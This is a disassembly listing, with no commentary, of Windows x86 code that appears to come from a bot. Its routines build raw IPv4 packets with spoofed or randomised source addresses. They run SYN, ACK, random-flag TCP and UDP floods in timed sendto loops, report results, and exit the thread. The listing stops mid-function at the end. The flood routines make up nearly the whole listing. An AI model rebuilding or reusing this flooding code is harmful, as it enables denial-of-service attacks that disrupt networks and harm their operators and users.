sub_414BED proc near ; DATA XREF: sub_401AA1+52F1o
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
xor esi, esi
push 0Eh
inc esi
xor ebx, ebx
mov [eax+19Ch], esi
pop ecx
xor eax, eax
lea edi, [ebp+var_9F]
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, dword_4280B0
call edi ; GetTickCount
push eax
call sub_41BF48
pop ecx
push 0FFh
push 3
push 2
call dword_4CE388 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_414CB6
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset unk_439E78
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_414C96
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409743
add esp, 14h
loc_414C96: ; CODE XREF: sub_414BED+84j
lea eax, [ebp+var_440]
push eax
call sub_415F45
push [ebp+var_BC]
call sub_40B56A
pop ecx
pop ecx
push ebx
call dword_4280D4 ; ExitThread
loc_414CB6: ; CODE XREF: sub_414BED+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_4CE2E8 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_414D34
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset unk_439E40
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_414D14
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409743
add esp, 14h
loc_414D14: ; CODE XREF: sub_414BED+102j
lea eax, [ebp+var_440]
push eax
call sub_415F45
push [ebp+var_BC]
call sub_40B56A
pop ecx
pop ecx
push ebx
call dword_4280D4 ; ExitThread
loc_414D34: ; CODE XREF: sub_414BED+DFj
lea eax, [ebp+var_23C]
push eax
call dword_4CE348 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_414DA4
lea eax, [ebp+var_440]
push offset unk_439E20
push eax
call sub_41BEF6
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_414D84
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409743
add esp, 14h
loc_414D84: ; CODE XREF: sub_414BED+172j
lea eax, [ebp+var_440]
push eax
call sub_415F45
push [ebp+var_BC]
call sub_40B56A
pop ecx
pop ecx
push ebx
call dword_4280D4 ; ExitThread
loc_414DA4: ; CODE XREF: sub_414BED+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call dword_4CE308 ; ntohs
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_4CE348 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
jmp loc_41500C
; ---------------------------------------------------------------------------
loc_414DE1: ; CODE XREF: sub_414BED+433j
push 28h
mov [ebp+var_2C], 45h
call dword_4CE308 ; ntohs
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_414E3A
call sub_41BF52
mov esi, eax
shl esi, 8
call sub_41BF52
add esi, eax
shl esi, 8
call sub_41BF52
add esi, eax
shl esi, 8
call sub_41BF52
add esi, eax
mov [ebp+var_20], esi
xor esi, esi
inc esi
jmp short loc_414E50
; ---------------------------------------------------------------------------
loc_414E3A: ; CODE XREF: sub_414BED+21Ej
push [ebp+var_240]
call sub_40A8D5
pop ecx
push eax
call dword_4CE348 ; inet_addr
mov [ebp+var_20], eax
loc_414E50: ; CODE XREF: sub_414BED+24Bj
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_414E6E
call sub_41BF52
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_414E74
; ---------------------------------------------------------------------------
loc_414E6E: ; CODE XREF: sub_414BED+26Fj
push [ebp+var_B8]
loc_414E74: ; CODE XREF: sub_414BED+27Fj
call dword_4CE308 ; ntohs
mov [ebp+var_16], ax
call sub_41BF52
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CE308 ; ntohs
push 12345678h
mov [ebp+var_18], ax
call dword_4CE304 ; ntohl
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn ; "syn"
push eax
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_414EC4
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_414F20
; ---------------------------------------------------------------------------
loc_414EC4: ; CODE XREF: sub_414BED+2CCj
lea eax, [ebp+var_1BC]
push offset aAck ; "ack"
push eax
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_414EE4
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_414F20
; ---------------------------------------------------------------------------
loc_414EE4: ; CODE XREF: sub_414BED+2ECj
lea eax, [ebp+var_1BC]
push offset aRandom_0 ; "random"
push eax
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_414F20
call sub_41BF52
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_41BF52
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_414F20: ; CODE XREF: sub_414BED+2D5j
; sub_414BED+2F5j ...
push 200h
mov [ebp+var_C], 50h
call dword_4CE308 ; ntohs
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_4CE308 ; ntohs
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40A92E
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call near ptr sub_41C9B0
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_41BC00
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40A92E
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41C9B0
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_4CE36C ; sendto
cmp eax, 0FFFFFFFFh
jz loc_4150B7
inc [ebp+arg_0]
loc_41500C: ; CODE XREF: sub_414BED+1EFj
call edi ; GetTickCount
sub eax, [ebp+var_30]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+var_B4]
jbe loc_414DE1
push [ebp+var_4]
call dword_4CE3A0 ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset unk_439DD0
push eax
call sub_41BEF6
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_415097
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409743
add esp, 14h
loc_415097: ; CODE XREF: sub_414BED+485j
lea eax, [ebp+var_440]
push eax
call sub_415F45
push [ebp+var_BC]
call sub_40B56A
pop ecx
pop ecx
push ebx
call dword_4280D4 ; ExitThread
loc_4150B7: ; CODE XREF: sub_414BED+416j
push [ebp+var_4]
call dword_4CE3A0 ; closesocket
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset unk_439D80
lea eax, [ebp+var_440]
push 200h
push eax
call sub_41BFF0
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_415115
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409743
add esp, 14h
loc_415115: ; CODE XREF: sub_414BED+503j
lea eax, [ebp+var_440]
push eax
call sub_415F45
push [ebp+var_BC]
call sub_40B56A
pop ecx
pop ecx
push ebx
call dword_4280D4 ; ExitThread
sub_414BED endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415135 proc near ; CODE XREF: sub_41523E+196p
; sub_41523E+1FFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
push esi
xor esi, esi
cmp ecx, 1
mov [ebp+arg_4], esi
jle short loc_415163
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
lea edi, [eax+eax]
sub ecx, edi
loc_415155: ; CODE XREF: sub_415135+28j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec eax
jnz short loc_415155
pop edi
cmp ecx, 1
loc_415163: ; CODE XREF: sub_415135+12j
jnz short loc_415170
mov al, [edx]
mov byte ptr [ebp+arg_4], al
movzx eax, word ptr [ebp+arg_4]
add esi, eax
loc_415170: ; CODE XREF: sub_415135:loc_415163j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
sub_415135 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415189 proc near ; DATA XREF: sub_401AA1+6BCAo
var_394 = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+var_110]
push eax
call sub_41BDE9
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4CE348 ; inet_addr
push eax
lea esi, [ebp+var_194]
sub esp, 194h
push 65h
pop ecx
mov edi, esp
rep movsd
call sub_41523E
push eax
lea eax, [ebp+var_394]
push offset unk_439EAC
push eax
call sub_41BEF6
xor esi, esi
add esp, 1A8h
cmp [ebp+var_8], esi
jnz short loc_415221
push esi
lea eax, [ebp+var_394]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_194]
call sub_409743
add esp, 14h
loc_415221: ; CODE XREF: sub_415189+76j
lea eax, [ebp+var_394]
push eax
call sub_415F45
push [ebp+var_10]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
sub_415189 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41523E proc near ; CODE XREF: sub_415189+54p
var_C8 = byte ptr -0C8h
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_9E = word ptr -9Eh
var_9C = byte ptr -9Ch
var_88 = byte ptr -88h
var_74 = word ptr -74h
var_72 = word ptr -72h
var_70 = dword ptr -70h
var_64 = byte ptr -64h
var_60 = byte ptr -60h
var_5F = byte ptr -5Fh
var_5E = byte ptr -5Eh
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_4E = word ptr -4Eh
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = word ptr -46h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_24 = byte ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_194 = dword ptr 19Ch
arg_198 = dword ptr 1A0h
push ebp
mov ebp, esp
sub esp, 0C8h
and [ebp+var_4], 0
push ebx
push esi
mov esi, dword_4280B0
push edi
call esi ; GetTickCount
push 0FFh
push 3
push 2
mov [ebp+var_C], eax
call dword_4CE388 ; socket
mov [ebp+var_8], eax
call esi ; GetTickCount
push eax
call sub_41BF48
pop ecx
mov ebx, 578h
push ebx
push 9
push 1
call sub_418D19
pop ecx
pop ecx
push eax
lea eax, [ebp+var_24]
push eax
call sub_41BC00
add esp, 0Ch
mov esi, 5A0h
loc_415297: ; CODE XREF: sub_41523E+224j
call dword_4280B0 ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_198]
ja loc_415467
cmp dword_4D1A8C, 0
jnz short loc_415316
push 10h
pop eax
mov [ebp+var_10], eax
push eax
lea eax, [ebp+var_64]
push 0
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_64]
push eax
push [ebp+arg_0]
call dword_4CE2AC ; getsockname
push 0FFh
push 1
call sub_418D19
push eax
movzx eax, [ebp+var_5E]
push eax
movzx eax, [ebp+var_5F]
push eax
movzx eax, [ebp+var_60]
push eax
lea eax, [ebp+var_C8]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax
call sub_41BEF6
add esp, 20h
jmp short loc_415329
; ---------------------------------------------------------------------------
loc_415316: ; CODE XREF: sub_41523E+7Ej
lea eax, [ebp+var_C8]
push offset dword_4D1470
push eax
call sub_41C520
pop ecx
pop ecx
loc_415329: ; CODE XREF: sub_41523E+D6j
lea eax, [ebp+var_C8]
push eax
call dword_4CE348 ; inet_addr
mov edi, eax
mov eax, [ebp+var_54]
and al, 45h
push esi
or al, 45h
mov [ebp+var_50], 10h
mov [ebp+var_54], eax
call dword_4CE308 ; ntohs
mov [ebp+var_4E], ax
call sub_41BF52
and [ebp+var_46], 0
mov [ebp+var_4C], ax
mov eax, [ebp+arg_194]
mov [ebp+var_4A], 40h
mov [ebp+var_48], 40h
mov [ebp+var_47], 6
mov [ebp+var_44], edi
mov [ebp+var_40], eax
call sub_41BF52
mov [ebp+var_3C], ax
call sub_41BF52
mov [ebp+var_3A], ax
call sub_41BF52
mov [ebp+var_38], eax
call sub_41BF52
mov [ebp+var_34], eax
mov eax, [ebp+var_30]
and al, 50h
mov edi, [ebp+var_40]
or al, 50h
and [ebp+var_2A], 0
and [ebp+var_28], 0
mov word ptr [ebp+var_30], ax
mov ax, [ebp+var_3A]
push 14h
mov [ebp+var_72], ax
lea eax, [ebp+var_54]
push eax
mov byte ptr [ebp+var_30+2], 18h
mov [ebp+var_2C], 787Dh
mov [ebp+var_74], 2
mov [ebp+var_70], edi
call sub_415135
and [ebp+var_A0], 0
pop ecx
pop ecx
mov [ebp+var_46], ax
mov eax, [ebp+var_44]
push 58Ch
mov [ebp+var_A8], eax
mov [ebp+var_A4], edi
mov [ebp+var_9F], 6
call dword_42820C ; ntohs
mov [ebp+var_9E], ax
lea eax, [ebp+var_9C]
push 14h
push eax
lea eax, [ebp+var_3C]
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_88]
push ebx
push eax
lea eax, [ebp+var_24]
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_A8]
push 598h
push eax
call sub_415135
add esp, 20h
mov [ebp+var_2A], ax
lea eax, [ebp+var_74]
push 10h
push eax
push 0
push esi
lea eax, [ebp+var_54]
push eax
push [ebp+var_8]
call dword_4CE36C ; sendto
inc [ebp+var_4]
jmp loc_415297
; ---------------------------------------------------------------------------
loc_415467: ; CODE XREF: sub_41523E+71j
push [ebp+var_8]
call dword_4CE3A0 ; closesocket
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41523E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415478 proc near ; DATA XREF: sub_401AA1+4BD2o
var_414 = byte ptr -414h
var_214 = byte ptr -214h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov edx, [ebp+arg_0]
push esi
mov eax, 85h
push edi
mov ecx, eax
mov esi, edx
lea edi, [ebp+var_214]
sub esp, 214h
rep movsd
mov ecx, eax
lea esi, [ebp+var_214]
mov edi, esp
mov dword ptr [edx+210h], 1
rep movsd
call sub_4154EE
push eax
lea eax, [ebp+var_414]
push offset unk_439EE0
push eax
call sub_41BEF6
add esp, 220h
lea eax, [ebp+var_414]
push eax
call sub_415F45
push [ebp+var_10]
call sub_40B56A
pop ecx
pop ecx
push 0
call dword_4280D4 ; ExitThread
sub_415478 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4154EE proc near ; CODE XREF: sub_415478+3Bp
var_254 = byte ptr -254h
var_54 = byte ptr -54h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_84 = byte ptr 8Ch
arg_104 = byte ptr 10Ch
arg_184 = byte ptr 18Ch
arg_208 = dword ptr 210h
arg_20C = dword ptr 214h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
mov ebx, 0FFh
push edi
push ebx
push 3
push 2
call dword_4CE388 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jnz short loc_41552C
lea eax, [ebp+var_254]
push offset unk_43A0D8
push eax
call sub_41BEF6
pop ecx
xor edi, edi
pop ecx
jmp loc_4157F2
; ---------------------------------------------------------------------------
loc_41552C: ; CODE XREF: sub_4154EE+22j
lea ecx, [ebp+var_14]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_14], 1
call dword_4CE2E8 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_415558
call dword_4CE29C ; WSAGetLastError
push eax
push offset unk_43A088
jmp short loc_415573
; ---------------------------------------------------------------------------
loc_415558: ; CODE XREF: sub_4154EE+5Aj
lea eax, [ebp+arg_4]
push eax
call dword_4CE348 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_415587
call dword_4CE29C ; WSAGetLastError
push eax
push offset unk_43A040
loc_415573: ; CODE XREF: sub_4154EE+68j
lea eax, [ebp+var_254]
push eax
call sub_41BEF6
add esp, 0Ch
jmp loc_4157F2
; ---------------------------------------------------------------------------
loc_415587: ; CODE XREF: sub_4154EE+77j
push edi
mov [ebp+var_24], 2
call dword_4CE308 ; ntohs
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call dword_428208 ; inet_addr
mov esi, dword_4280B0
mov [ebp+var_20], eax
call esi ; GetTickCount
mov [ebp+var_8], eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_43A014
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+arg_20C], edi
jnz short loc_4155F0
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_4155F0: ; CODE XREF: sub_4154EE+E0j
mov [ebp+var_4], edi
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, eax
lea eax, [ebp+arg_104]
push eax
call sub_41BDE9
cmp esi, eax
pop ecx
ja loc_4157A9
mov esi, 41Ch
jmp short loc_415624
; ---------------------------------------------------------------------------
loc_41561F: ; CODE XREF: sub_4154EE+2B5j
mov ebx, 0FFh
loc_415624: ; CODE XREF: sub_4154EE+12Fj
cmp dword_4D1A8C, edi
jnz short loc_41567C
push 10h
pop eax
mov [ebp+var_10], eax
push eax
lea eax, [ebp+var_34]
push edi
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+arg_0]
call dword_4CE2AC ; getsockname
push ebx
push 1
call sub_418D19
push eax
movzx eax, [ebp+var_2E]
push eax
movzx eax, [ebp+var_2F]
push eax
movzx eax, [ebp+var_30]
push eax
lea eax, [ebp+var_54]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax
call sub_41BEF6
add esp, 20h
jmp short loc_41568C
; ---------------------------------------------------------------------------
loc_41567C: ; CODE XREF: sub_4154EE+13Cj
lea eax, [ebp+var_54]
push offset dword_4D1470
push eax
call sub_41C520
pop ecx
pop ecx
loc_41568C: ; CODE XREF: sub_4154EE+18Cj
push esi
mov byte_4D1670, 45h
call dword_4CE308 ; ntohs
mov word_4D1672, ax
lea eax, [ebp+var_54]
push eax
mov word_4D1674, 1
mov word_4D1676, di
mov byte_4D1678, 80h
mov byte_4D1679, 11h
mov word_4D167A, di
call dword_4CE348 ; inet_addr
mov dword_4D167C, eax
mov eax, [ebp+var_20]
mov dword_4D1680, eax
lea eax, [ebp+arg_84]
push eax
mov word_4D168A, di
call sub_41BDE9
test eax, eax
pop ecx
jnz short loc_415704
call sub_41BF52
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_415712
; ---------------------------------------------------------------------------
loc_415704: ; CODE XREF: sub_4154EE+204j
lea eax, [ebp+arg_84]
push eax
call sub_41BDE9
pop ecx
push eax
loc_415712: ; CODE XREF: sub_4154EE+214j
call dword_4CE308 ; ntohs
mov word_4D1686, ax
call sub_41BF52
cdq
mov ecx, 401h
push 408h
idiv ecx
mov word_4D1684, dx
call dword_4CE308 ; ntohs
push 400h
mov word_4D1688, ax
call sub_41BF52
cdq
idiv ebx
push edx
push offset dword_4D168C
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_24]
push 10h
push eax
push edi
push esi
push offset byte_4D1670
push [ebp+var_C]
call dword_4CE36C ; sendto
cmp eax, 0FFFFFFFFh
jz loc_415821
inc [ebp+var_4]
call dword_4280B0 ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, eax
lea eax, [ebp+arg_104]
push eax
call sub_41BDE9
cmp ebx, eax
pop ecx
jbe loc_41561F
loc_4157A9: ; CODE XREF: sub_4154EE+124j
push [ebp+var_C]
call dword_4CE3A0 ; closesocket
mov esi, [ebp+var_4]
lea eax, [ebp+arg_104]
push eax
imul esi, 41Ch
call sub_41BDE9
mov ecx, eax
mov eax, esi
shr eax, 0Ah
xor edx, edx
div ecx
shr esi, 14h
push eax
push esi
push [ebp+var_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_439FB0
push eax
call sub_41BEF6
add esp, 1Ch
loc_4157F2: ; CODE XREF: sub_4154EE+39j
; sub_4154EE+94j ...
cmp [ebp+arg_20C], edi
jnz short loc_41581A
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_41581A: ; CODE XREF: sub_4154EE+30Aj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_415821: ; CODE XREF: sub_4154EE+289j
push [ebp+var_4]
push esi
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_439F20
push eax
call sub_41BEF6
add esp, 18h
jmp short loc_4157F2
sub_4154EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415846 proc near ; DATA XREF: sub_401AA1+6243o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
call sub_41BDE9
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call sub_41BDE9
pop ecx
push eax
lea eax, [ebp+var_210]
push eax
call dword_4CE348 ; inet_addr
push eax
call sub_4159E0
push eax
lea eax, [ebp+var_414]
push offset unk_43A104
push eax
call sub_41BEF6
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_4158D8
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409743
add esp, 14h
loc_4158D8: ; CODE XREF: sub_415846+70j
lea eax, [ebp+var_414]
push eax
call sub_415F45
push [ebp+var_10]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
pop edi
pop esi
sub_415846 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4158F7 proc near ; CODE XREF: sub_4159E0+184p
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
push esi
push edi
jnz short loc_415920
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428210 ; connect
jmp loc_4159DC
; ---------------------------------------------------------------------------
loc_415920: ; CODE XREF: sub_4158F7+13j
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
xor edi, edi
push eax
inc edi
push 8004667Eh
push esi
mov [ebp+var_8], edi
call dword_4281F8 ; ioctlsocket
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CE2B0 ; connect
push [ebp+arg_C]
lea eax, [ebp+var_210]
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
push 0
push eax
lea eax, [ebp+var_10C]
mov [ebp+var_20C], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_210], edi
call dword_4CE2F0 ; select
test eax, eax
jnz short loc_415984
or eax, 0FFFFFFFFh
jmp short loc_4159DC
; ---------------------------------------------------------------------------
loc_415984: ; CODE XREF: sub_4158F7+86j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_41598F
loc_41598B: ; CODE XREF: sub_4158F7+B8j
; sub_4158F7+DCj
mov eax, edi
jmp short loc_4159DC
; ---------------------------------------------------------------------------
loc_41598F: ; CODE XREF: sub_4158F7+92j
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426E00 ; __WSAFDIsSet
test eax, eax
jnz short loc_4159B1
lea eax, [ebp+var_210]
push eax
push esi
call sub_426E00 ; __WSAFDIsSet
test eax, eax
jz short loc_41598B
loc_4159B1: ; CODE XREF: sub_4158F7+A7j
lea eax, [ebp+arg_0]
mov [ebp+arg_0], 4
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
call dword_4281E0 ; getsockopt
cmp eax, edi
jz short loc_41598B
mov eax, [ebp+var_4]
neg eax
